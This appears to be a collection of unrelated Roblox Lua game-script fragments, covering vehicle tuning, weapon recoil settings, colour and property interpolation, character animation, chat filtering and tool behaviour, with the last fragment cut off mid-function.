"Double" : Twin turbocharger
"Super" : Supercharger ]]
Tune.Boost = 5 --Max PSI (If you have two turbos and this is 15, the PSI will be 30)
Tune.TurboSize = 80 --Turbo size; the bigger it is, the more lag it has.
Tune.CompressRatio = 9 --The compression ratio (look it up)
Tune.Sensitivity = 0.05 --How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1)
--Misc
Tune.RevAccel = 100 -- RPM acceleration when clutch is off
Tune.RevDecay = 155 -- RPM decay when clutch is off
Tune.RevBounce = 10 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 250 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
--------LIGHTED RECTANGLES--------
|
game.Workspace.rightpalette.l11.BrickColor = BrickColor.new(1002)
game.Workspace.rightpalette.l12.BrickColor = BrickColor.new(1002)
game.Workspace.rightpalette.l13.BrickColor = BrickColor.new(1002)
game.Workspace.rightpalette.l14.BrickColor = BrickColor.new(1002)
game.Workspace.rightpalette.l15.BrickColor = BrickColor.new(1002)
game.Workspace.rightpalette.l16.BrickColor = BrickColor.new(1002)
game.Workspace.rightpalette.l21.BrickColor = BrickColor.new(1002)
game.Workspace.rightpalette.l22.BrickColor = BrickColor.new(1002)
game.Workspace.rightpalette.l23.BrickColor = BrickColor.new(1002)
game.Workspace.rightpalette.l24.BrickColor = BrickColor.new(1002)
game.Workspace.rightpalette.l25.BrickColor = BrickColor.new(1002)
game.Workspace.rightpalette.l26.BrickColor = BrickColor.new(1002)
|
-- << CONFIGURATION >>
|
local rank = "Owner"
local rankType = "Perm" -- "Temp", "Server" or "Perm". For more info, visit: https://devforum.roblox.com/t/HD/266932
local successColor = Color3.fromRGB(0,255,0)
local errorColor = Color3.fromRGB(255,0,0)
|
--game.ReplicatedStorage.gui.OnClientEvent:Connect(function()
-- for i, v in pairs(game.SoundService:GetChildren()) do
-- v:Stop()
-- v:Stop()
-- end
-- script.Parent.Parent.victory.Enabled = false
-- game.Workspace.CurrentCamera.CameraSubject = player.Character.Humanoid
-- script.Parent.Enabled = false
-- isplaying = false
-- script.Parent.Parent.victory.Enabled = false
-- game.Workspace.CurrentCamera.CameraSubject = player.Character.Humanoid
-- script.Parent.Enabled = false
-- game.SoundService.ocean:Pause()
-- game.SoundService.ocean.Volume = 0
-- game.SoundService.forest:Pause()
-- game.SoundService.forest.Volume = 0
-- script.Parent.TextLabel.Text = counter
-- isenabled = false
--script.Parent.ImageButton.AutoButtonColor = false
-- ts:Create(script.Parent.ImageButton, TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.In), {ImageColor3 = Color3.fromRGB(98, 101, 255)}):Play()
-- counter = 30
-- ts:Create(script.Parent.ImageButton, TweenInfo.new(3, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 1, false), {Rotation=360}):Play()
-- --wait(3)
-- script.Parent.seed.Visible = true
---- ts:Create(script.Parent.TextLabel, TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.In), {TextTransparency=0}):Play()
-- ts:Create(script.Parent.seed, TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.In), {TextTransparency=0}):Play()
-- script.Parent.seed.Text = "SEED: " ..workspace.SEED.Value
-- script.Parent.TextLabel.Visible = true
-- ts:Create(script.Parent.ImageButton, TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.In), {ImageColor3 = Color3.fromRGB(54, 54, 54)}):Play()
-- game.SoundService.ocean:Play()
-- game.SoundService.ocean.Volume = 1
-- game.SoundService.forest:Play()
-- game.SoundService.forest.Volume = 0.25
-- --while wait(1) do
-- -- counter = counter - 1
-- -- script.Parent.TextLabel.Text = counter
-- -- if counter == 0 then
-- -- break
-- -- end
-- --end
-- print("waiting")
-- game.ReplicatedStorage.round_end.OnClientEvent:Connect(function()
-- print("waited")
-- script.Parent.Enabled = true
-- script.Parent.ImageButton.Rotation = 0
-- counter = 30
-- isenabled = true
---- ts:Create(script.Parent.TextLabel, TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {TextTransparency=1}):Play()
-- script.Parent.TextLabel.Visible = false
-- script.Parent.ImageButton.AutoButtonColor = true
-- ts:Create(script.Parent.ImageButton, TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {ImageColor3 = Color3.fromRGB(255, 255, 255)}):Play()
--end)
-- end)
--game.ReplicatedStorage.music_change.OnClientEvent:Connect(function(id)
-- if id == 0 then
-- game.SoundService.big:Play()
-- elseif id == 1 then
-- if isplaying == false then
-- isplaying = true
-- ts:Create(game.SoundService.big, TweenInfo.new(3, Enum.EasingStyle.Sine, Enum.EasingDirection.In), {Volume=0}):Play()
-- wait(3)
-- game.SoundService.big:Stop()
-- game.SoundService.big.Volume = 0.5
-- game.SoundService.small:Play()
-- end
-- elseif id == 2 then
-- wait(1)
-- for i, v in pairs(game.SoundService:GetChildren()) do
-- v:Stop()
-- v:Stop()
-- end
-- script.Parent.Parent.victory.Enabled = true
-- script.Parent.Parent.victory.TextLabel.BackgroundTransparency = 1
-- script.Parent.Parent.victory.TextLabel.TextTransparency = 1
-- ts:Create(script.Parent.Parent.victory.TextLabel, TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {BackgroundTransparency=0, TextTransparency=0}):Play()
-- game.SoundService.finish:Play()
-- end
-- end)
| |
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.KittyJump-- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,VRecoil = {12,16} --- Vertical Recoil
,HRecoil = {5,7} --- Horizontal Recoil
,AimRecover = .7 ---- Between 0 & 1
,RecoilPunch = .15
,VPunchBase = 2.5 --- Vertical Punch
,HPunchBase = 1.7 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.2
,MinRecoilPower = .5
,MaxRecoilPower = 3.5
,RecoilPowerStepAmount = .25
,MinSpread = 0.56 --- Min bullet spread value | Studs
,MaxSpread = 35 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 0.5
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 1.5 --- Max sway value based on player stamina | Studs
|
-- Cache common functions to avoid unnecessary table lookups
|
local TableInsert, NewVector3 = table.insert, Vector3.new
function GetCornerOffsets(Origin, InitialStates)
-- Calculates and returns the offset of every corner in the initial state from the origin CFrame
local CornerOffsets = {}
-- Get offset for origin point
local OriginOffset = Origin:inverse()
-- Go through each item in the initial state
for Item, State in pairs(InitialStates) do
local ItemCFrame = State.CFrame
local SizeX, SizeY, SizeZ = Item.Size.X / 2, Item.Size.Y / 2, Item.Size.Z / 2
-- Gather each corner
TableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(SizeX, SizeY, SizeZ)))
TableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(-SizeX, SizeY, SizeZ)))
TableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(SizeX, -SizeY, SizeZ)))
TableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(SizeX, SizeY, -SizeZ)))
TableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(-SizeX, SizeY, -SizeZ)))
TableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(-SizeX, -SizeY, SizeZ)))
TableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(SizeX, -SizeY, -SizeZ)))
TableInsert(CornerOffsets, OriginOffset * (ItemCFrame * NewVector3(-SizeX, -SizeY, -SizeZ)))
end
-- Return the offsets
return CornerOffsets
end
function FreeDragging:InstallDragEndListener()
Support.AddUserInputListener('Ended', {'Touch', 'MouseButton1'}, true, function (Input)
-- Clear drag detection data
self.StartScreenPoint = nil
self.StartTarget = nil
ContextActionService:UnbindAction 'BT: Watch for dragging'
-- Reset from drag mode if dragging
if self.IsDragging then
-- Reset axes
self.Tool:SetAxes(self.Tool.Axes)
-- Finalize the dragging operation
self:FinishDragging()
end
end)
end
return FreeDragging
|
--[=[
Observes the current value of the ValueObject
@param valueObject ValueObject<T>
@return Observable<T>
]=]
|
function ValueObjectUtils.observeValue(valueObject)
assert(ValueObject.isValueObject(valueObject), "Bad valueObject")
return Observable.new(function(sub)
if not valueObject.Destroy then
warn("[ValueObjectUtils.observeValue] - Connecting to dead ValueObject")
-- No firing, we're dead
sub:Complete()
return
end
local maid = Maid.new()
maid:GiveTask(valueObject.Changed:Connect(function()
sub:Fire(valueObject.Value)
end))
sub:Fire(valueObject.Value)
return maid
end)
end
|
--Tool.Enabled = true
|
function onActivated()
--if not Tool.Enabled then
-- return
--end
--Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
local targetPos = humanoid.TargetPoint
local lookAt = (targetPos - character.Head.Position).unit
fire(lookAt)
--wait(2)
--Tool.Enabled = true
end
while true do
script.Parent.Activated:wait()
connection = game:service("RunService").Stepped:connect(onActivated)
wait(2)
end
|
-- Generic Roblox DataType lerp function.
|
local function RobloxLerp(V0, V1)
return function(DeltaTime)
return V0:Lerp(V1, DeltaTime)
end
end
local function Lerp(Start, Finish, Alpha)
return Start + Alpha * (Finish - Start)
end
local function SortByTime(a, b)
return a.Time < b.Time
end
local Lerps = setmetatable({
boolean = function(V0, V1)
return function(DeltaTime)
if DeltaTime < 0.5 then
return V0
else
return V1
end
end
end;
number = function(V0, V1)
local Delta = V1 - V0
return function(DeltaTime)
return V0 + Delta * DeltaTime
end
end;
CFrame = RobloxLerp;
Color3 = function(C0, C1)
local L0, U0, V0
local R0, G0, B0 = C0.R, C0.G, C0.B
R0 = R0 < 0.0404482362771076 and R0 / 12.92 or 0.87941546140213 * (R0 + 0.055) ^ 2.4
G0 = G0 < 0.0404482362771076 and G0 / 12.92 or 0.87941546140213 * (G0 + 0.055) ^ 2.4
B0 = B0 < 0.0404482362771076 and B0 / 12.92 or 0.87941546140213 * (B0 + 0.055) ^ 2.4
local Y0 = 0.2125862307855956 * R0 + 0.71517030370341085 * G0 + 0.0722004986433362 * B0
local Z0 = 3.6590806972265883 * R0 + 11.4426895800574232 * G0 + 4.1149915024264843 * B0
local _L0 = Y0 > 0.008856451679035631 and 116 * Y0 ^ (1 / 3) - 16 or 903.296296296296 * Y0
if Z0 > 0.0000000000000010000000000000001 then
local X = 0.9257063972951867 * R0 - 0.8333736323779866 * G0 - 0.09209820666085898 * B0
L0, U0, V0 = _L0, _L0 * X / Z0, _L0 * (9 * Y0 / Z0 - 0.46832)
else
L0, U0, V0 = _L0, -0.19783 * _L0, -0.46832 * _L0
end
local L1, U1, V1
local R1, G1, B1 = C1.R, C1.G, C1.B
R1 = R1 < 0.0404482362771076 and R1 / 12.92 or 0.87941546140213 * (R1 + 0.055) ^ 2.4
G1 = G1 < 0.0404482362771076 and G1 / 12.92 or 0.87941546140213 * (G1 + 0.055) ^ 2.4
B1 = B1 < 0.0404482362771076 and B1 / 12.92 or 0.87941546140213 * (B1 + 0.055) ^ 2.4
local Y1 = 0.2125862307855956 * R1 + 0.71517030370341085 * G1 + 0.0722004986433362 * B1
local Z1 = 3.6590806972265883 * R1 + 11.4426895800574232 * G1 + 4.1149915024264843 * B1
local _L1 = Y1 > 0.008856451679035631 and 116 * Y1 ^ (1 / 3) - 16 or 903.296296296296 * Y1
if Z1 > 0.0000000000000010000000000000001 then -- 1E-15
local X = 0.9257063972951867 * R1 - 0.8333736323779866 * G1 - 0.09209820666085898 * B1
L1, U1, V1 = _L1, _L1 * X / Z1, _L1 * (9 * Y1 / Z1 - 0.46832)
else
L1, U1, V1 = _L1, -0.19783 * _L1, -0.46832 * _L1
end
return function(DeltaTime)
local L = (1 - DeltaTime) * L0 + DeltaTime * L1
if L < 0.0197955 then
return BLACK_COLOR3
end
local U = ((1 - DeltaTime) * U0 + DeltaTime * U1) / L + 0.19783
local V = ((1 - DeltaTime) * V0 + DeltaTime * V1) / L + 0.46832
local Y = (L + 16) / 116
Y = Y > 0.206896551724137931 and Y * Y * Y or 0.12841854934601665 * Y - 0.01771290335807126
local X = Y * U / V
local Z = Y * ((3 - 0.75 * U) / V - 5)
local R = 7.2914074 * X - 1.5372080 * Y - 0.4986286 * Z
local G = -2.1800940 * X + 1.8757561 * Y + 0.0415175 * Z
local B = 0.1253477 * X - 0.2040211 * Y + 1.0569959 * Z
if R < 0 and R < G and R < B then
R, G, B = 0, G - R, B - R
elseif G < 0 and G < B then
R, G, B = R - G, 0, B - G
elseif B < 0 then
R, G, B = R - B, G - B, 0
end
R = R < 0.0031306684424999998 and 12.92 * R or 1.055 * R ^ (1 / 2.4) - 0.055 -- 3.1306684425E-3
G = G < 0.0031306684424999998 and 12.92 * G or 1.055 * G ^ (1 / 2.4) - 0.055
B = B < 0.0031306684424999998 and 12.92 * B or 1.055 * B ^ (1 / 2.4) - 0.055
return Color3.new(
R > 1 and 1 or R < 0 and 0 or R,
G > 1 and 1 or G < 0 and 0 or G,
B > 1 and 1 or B < 0 and 0 or B
)
end
end;
NumberRange = function(V0, V1)
local Min0, Max0 = V0.Min, V0.Max
local DeltaMin, DeltaMax = V1.Min - Min0, V1.Max - Max0
return function(DeltaTime)
return NumberRange.new(Min0 + DeltaTime * DeltaMin, Max0 + DeltaTime * DeltaMax)
end
end;
NumberSequenceKeypoint = function(Start, End)
local T0, V0, E0 = Start.Time, Start.Value, Start.Envelope
local DT, DV, DE = End.Time - T0, End.Value - V0, End.Envelope - E0
return function(DeltaTime)
return NumberSequenceKeypoint.new(T0 + DeltaTime * DT, V0 + DeltaTime * DV, E0 + DeltaTime * DE)
end
end;
PhysicalProperties = function(V0, V1)
local D0, E0, EW0, F0, FW0 =
V0.Density, V0.Elasticity,
V0.ElasticityWeight, V0.Friction,
V0.FrictionWeight
local DD, DE, DEW, DF, DFW =
V1.Density - D0, V1.Elasticity - E0,
V1.ElasticityWeight - EW0, V1.Friction - F0,
V1.FrictionWeight - FW0
return function(DeltaTime)
return PhysicalProperties.new(
D0 + DeltaTime * DD,
E0 + DeltaTime * DE, EW0 + DeltaTime * DEW,
F0 + DeltaTime * DF, FW0 + DeltaTime * DFW
)
end
end;
Ray = function(V0, V1)
local O0, D0, O1, D1 = V0.Origin, V0.Direction, V1.Origin, V1.Direction
local OX0, OY0, OZ0, DX0, DY0, DZ0 = O0.X, O0.Y, O0.Z, D0.X, D0.Y, D0.Z
local DOX, DOY, DOZ, DDX, DDY, DDZ = O1.X - OX0, O1.Y - OY0, O1.Z - OZ0, D1.X - DX0, D1.Y - DY0, D1.Z - DZ0
return function(DeltaTime)
return Ray.new(
Vector3.new(OX0 + DeltaTime * DOX, OY0 + DeltaTime * DOY, OZ0 + DeltaTime * DOZ),
Vector3.new(DX0 + DeltaTime * DDX, DY0 + DeltaTime * DDY, DZ0 + DeltaTime * DDZ)
)
end
end;
UDim = function(V0, V1)
local SC, OF = V0.Scale, V0.Offset
local DSC, DOF = V1.Scale - SC, V1.Offset - OF
return function(DeltaTime)
return UDim.new(SC + DeltaTime * DSC, OF + DeltaTime * DOF)
end
end;
UDim2 = RobloxLerp;
Vector2 = RobloxLerp;
Vector3 = RobloxLerp;
Rect = function(V0, V1)
return function(DeltaTime)
return Rect.new(
V0.Min.X + DeltaTime * (V1.Min.X - V0.Min.X), V0.Min.Y + DeltaTime * (V1.Min.Y - V0.Min.Y),
V0.Max.X + DeltaTime * (V1.Max.X - V0.Max.X), V0.Max.Y + DeltaTime * (V1.Max.Y - V0.Max.Y)
)
end
end;
Region3 = function(V0, V1)
return function(DeltaTime)
local imin = Lerp(V0.CFrame * (-V0.Size / 2), V1.CFrame * (-V1.Size / 2), DeltaTime)
local imax = Lerp(V0.CFrame * (V0.Size / 2), V1.CFrame * (V1.Size / 2), DeltaTime)
local iminx = imin.X
local imaxx = imax.X
local iminy = imin.Y
local imaxy = imax.Y
local iminz = imin.Z
local imaxz = imax.Z
return Region3.new(
Vector3.new(iminx < imaxx and iminx or imaxx, iminy < imaxy and iminy or imaxy, iminz < imaxz and iminz or imaxz),
Vector3.new(iminx > imaxx and iminx or imaxx, iminy > imaxy and iminy or imaxy, iminz > imaxz and iminz or imaxz)
)
end
end;
NumberSequence = function(V0, V1)
return function(DeltaTime)
local keypoints = {}
local addedTimes = {}
local keylength = 0
for _, ap in ipairs(V0.Keypoints) do
local closestAbove, closestBelow
for _, bp in ipairs(V1.Keypoints) do
if bp.Time == ap.Time then
closestAbove, closestBelow = bp, bp
break
elseif bp.Time < ap.Time and (closestBelow == nil or bp.Time > closestBelow.Time) then
closestBelow = bp
elseif bp.Time > ap.Time and (closestAbove == nil or bp.Time < closestAbove.Time) then
closestAbove = bp
end
end
local bValue, bEnvelope
if closestAbove == closestBelow then
bValue, bEnvelope = closestAbove.Value, closestAbove.Envelope
else
local p = (ap.Time - closestBelow.Time) / (closestAbove.Time - closestBelow.Time)
bValue = (closestAbove.Value - closestBelow.Value) * p + closestBelow.Value
bEnvelope = (closestAbove.Envelope - closestBelow.Envelope) * p + closestBelow.Envelope
end
local interValue = (bValue - ap.Value) * DeltaTime + ap.Value
local interEnvelope = (bEnvelope - ap.Envelope) * DeltaTime + ap.Envelope
local interp = NumberSequenceKeypoint.new(ap.Time, interValue, interEnvelope)
keylength = keylength + 1
keypoints[keylength] = interp
addedTimes[ap.Time] = true
end
for _, bp in ipairs(V1.Keypoints) do
if not addedTimes[bp.Time] then
local closestAbove, closestBelow
for _, ap in ipairs(V0.Keypoints) do
if ap.Time == bp.Time then
closestAbove, closestBelow = ap, ap
break
elseif ap.Time < bp.Time and (closestBelow == nil or ap.Time > closestBelow.Time) then
closestBelow = ap
elseif ap.Time > bp.Time and (closestAbove == nil or ap.Time < closestAbove.Time) then
closestAbove = ap
end
end
local aValue, aEnvelope
if closestAbove == closestBelow then
aValue, aEnvelope = closestAbove.Value, closestAbove.Envelope
else
local p = (bp.Time - closestBelow.Time) / (closestAbove.Time - closestBelow.Time)
aValue = (closestAbove.Value - closestBelow.Value) * p + closestBelow.Value
aEnvelope = (closestAbove.Envelope - closestBelow.Envelope) * p + closestBelow.Envelope
end
local interValue = (bp.Value - aValue) * DeltaTime + aValue
local interEnvelope = (bp.Envelope - aEnvelope) * DeltaTime + aEnvelope
local interp = NumberSequenceKeypoint.new(bp.Time, interValue, interEnvelope)
keylength = keylength + 1
keypoints[keylength] = interp
end
end
table.sort(keypoints, SortByTime)
return NumberSequence.new(keypoints)
end
end;
}, {
__index = function(_, Index)
error("No lerp function is defined for type " .. tostring(Index) .. ".", 4)
end;
__newindex = function(_, Index)
error("No lerp function is defined for type " .. tostring(Index) .. ".", 4)
end;
})
return Lerps
|
-- Backwards compatability (deprecated)
|
Registry.AddHook = Registry.RegisterHook
|
--- VARIABLES/CONSTANTS ---
|
Character = script.Parent
Humanoid = Character.Humanoid
HumanoidRootPart = Character.HumanoidRootPart
Debounce = false
|
--Weld stuff here
|
MakeWeld(misc.Trunk.Hinge,car.DriveSeat,"Motor",.03)
ModelWeld(misc.Trunk.Parts,misc.Trunk.Hinge)
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
end
end)
|
-- local script inside the tool
|
local tool = script.Parent
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")
local isAdmin = true -- change this to true if the player is an admin
local normalHealth = humanoid.MaxHealth
local adminHealth = 1000
local function onEquipped()
if isAdmin then
humanoid.MaxHealth = adminHealth
humanoid.Health = adminHealth
end
end
local function onUnequipped()
if isAdmin then
humanoid.MaxHealth = normalHealth
humanoid.Health = normalHealth
end
end
tool.Equipped:Connect(onEquipped)
tool.Unequipped:Connect(onUnequipped)
|
-- ROBLOX deviation: skipping path
-- local path = require("path")
-- ROBLOX FIXME: make proper platform check
-- local win32 = process.platform == "win32"
|
local win32 = false
local Constants = require(CurrentModule.constants)
|
--494sox @ //INSPARE
|
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local UserInputService = game:GetService("UserInputService")
local on = 0
script:WaitForChild("DownShiftSound")
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
for i,v in pairs(script:GetChildren()) do
v.Parent=car.DriveSeat
end
function DealWithInput(input,IsRobloxFunction)
if (input.KeyCode == Enum.KeyCode.Q) and (script.Parent.Values.RPM.Value>=4500) and input.UserInputState == Enum.UserInputState.Begin then
car.DriveSeat.DownShiftSound:Play()
car.DriveSeat.Rev.Volume=3
wait(1.9)
car.DriveSeat.Rev.Volume=5
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)
UserInputService.InputEnded:connect(DealWithInput)
|
-- functions
|
function onRunning(speed)
if isSeated then return end
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
isSeated = false
pose = "Jumping"
end
function onClimbing()
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
isSeated = true
pose = "Seated"
end
function moveJump()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 3.14
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveFreeFall()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 1
LeftShoulder.DesiredAngle = -1
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveClimb()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = 3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle = 3.14 /2
LeftShoulder.DesiredAngle = -3.14 /2
RightHip.DesiredAngle = 3.14 /2
LeftHip.DesiredAngle = -3.14 /2
end
function getTool()
kidTable = Figure:children()
if (kidTable ~= nil) then
numKids = #kidTable
for i=1,numKids do
if (kidTable[i].className == "Tool") then return kidTable[i] end
end
end
return nil
end
function getToolAnim(tool)
c = tool:children()
for i=1,#c do
if (c[i].Name == "toolanim" and c[i].className == "StringValue") then
return c[i]
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
RightShoulder.DesiredAngle = 1.57
return
end
if (toolAnim == "Slash") then
RightShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
return
end
if (toolAnim == "Lunge") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightHip.MaxVelocity = 0.5
LeftHip.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 1.57
LeftShoulder.DesiredAngle = 1.0
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 1.0
return
end
end
function move(time)
local amplitude
local frequency
if (pose == "Jumping") then
moveJump()
return
end
if (pose == "FreeFall") then
moveFreeFall()
return
end
if (pose == "Climbing") then
moveClimb()
return
end
if (pose == "Seated") then
moveSit()
return
end
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
if (pose == "Running" and script.Parent.Humanoid.WalkSpeed ~= 0) then
amplitude = 1
frequency = 9
else
amplitude = 0.1
frequency = 1
end
desiredAngle = amplitude * math.sin(time*frequency)
RightShoulder.DesiredAngle = desiredAngle
LeftShoulder.DesiredAngle = desiredAngle
RightHip.DesiredAngle = -desiredAngle
LeftHip.DesiredAngle = -desiredAngle
local tool = getTool()
if tool ~= nil then
animStringValueObject = getToolAnim(tool)
if animStringValueObject ~= nil then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
toolAnim = "None"
toolAnimTime = 0
end
end
|
------//Low Ready Animations
|
self.RightLowReady = CFrame.new(-1, 0.5, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0));
self.LeftLowReady = CFrame.new(1.25,1.15,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25));
|
--[[ The Module ]]
|
--
local BaseOcclusion = require(script.Parent:WaitForChild("BaseOcclusion"))
local Poppercam = setmetatable({}, BaseOcclusion)
Poppercam.__index = Poppercam
function Poppercam.new()
local self = setmetatable(BaseOcclusion.new(), Poppercam)
self.focusExtrapolator = TransformExtrapolator.new()
return self
end
function Poppercam:GetOcclusionMode()
return Enum.DevCameraOcclusionMode.Zoom
end
function Poppercam:Enable(enable)
self.focusExtrapolator:Reset()
end
function Poppercam:Update(renderDt, desiredCameraCFrame, desiredCameraFocus, cameraController)
local rotatedFocus = CFrame.new(desiredCameraFocus.p, desiredCameraCFrame.p)*CFrame.new(
0, 0, 0,
-1, 0, 0,
0, 1, 0,
0, 0, -1
)
local extrapolation = self.focusExtrapolator:Step(renderDt, rotatedFocus)
local zoom = ZoomController.Update(renderDt, rotatedFocus, extrapolation)
return rotatedFocus*CFrame.new(0, 0, zoom), desiredCameraFocus
end
|
-- Constants
|
local RootModel = script:FindFirstAncestorOfClass("Model")
local EffectsToPlay = script.EffectsToPlay
local WeaponDefinition = WeaponDefinitionLoader.GetWeaponDefintionByName(RootModel:GetAttribute("WeaponName"))
local OwnerID = RootModel:GetAttribute("OwnerID")
local GrenadeFuseTime = WeaponDefinition:GetFuseTime()
local owningPlayer = PlayersService:GetPlayerByUserId(OwnerID)
wait(GrenadeFuseTime)
|
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config
|
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end)
if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end
function ProcessMessage(message, ChatWindow, ChatSettings)
local LocalPlayer = game:GetService("Players").LocalPlayer
if LocalPlayer and LocalPlayer.UserId < 0 and not RunService:IsStudio() then
local channelObj = ChatWindow:GetCurrentChannel()
if channelObj then
util:SendSystemMessageToSelf(
ChatLocalization:Get("GameChat_SwallowGuestChat_Message","Create a free account to get access to chat permissions!"),
channelObj,
{}
)
end
return true
end
return false
end
return {
[util.KEY_COMMAND_PROCESSOR_TYPE] = util.COMPLETED_MESSAGE_PROCESSOR,
[util.KEY_PROCESSOR_FUNCTION] = ProcessMessage
}
|
--// F key, Horn
|
mouse.KeyUp:connect(function(key)
if key=="f" then
veh.Lightbar.middle.Airhorn:Stop()
veh.Lightbar.middle.Wail.Volume = 3.5
veh.Lightbar.middle.Yelp.Volume = 3.5
veh.Lightbar.middle.Priority.Volume = 3.5
veh.Lightbar.middle.Manual.Volume = 3.5
end
end)
mouse.KeyDown:connect(function(key)
if key=="j" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.RemoteEvent:FireServer(true)
end
end)
mouse.KeyDown:connect(function(key)
if key=="]" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.TD.RemoteEvent:FireServer(true)
end
end)
|
-- Input function determined by user's device controls
|
local GetInput = false
|
-------- OMG HAX
|
r = game:service("RunService")
Tool = script.Parent
local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass
local gravity = .75 -- things float at > 1
local ghostEffect = nil
local massCon1 = nil
local massCon2 = nil
local myCharacter
local myPlayer
local head = nil
function recursiveGetLift(node)
local m = 0
local c = node:GetChildren()
if (node:FindFirstChild("Head") ~= nil) then head = node:FindFirstChild("Head") end -- nasty hack to detect when your parts get blown off
for i=1,#c do
if c[i]:IsA("BasePart") then
if (head ~= nil and (c[i].Position - head.Position).magnitude < 10) then -- GROSS
if c[i].Name == "Handle" then
m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height
else
m = m + (c[i]:GetMass() * equalizingForce * gravity)
end
end
end
m = m + recursiveGetLift(c[i])
end
return m
end
function onMassChanged(child, char)
print("Mass changed:" .. child.Name .. " " .. char.Name)
if (ghostEffect ~= nil) then
ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
end
end
function UpdateGhostState(isUnequipping)
if isUnequipping == true then
ghostEffect:Remove()
ghostEffect = nil
massCon1:disconnect()
massCon2:disconnect()
else
if ghostEffect == nil then
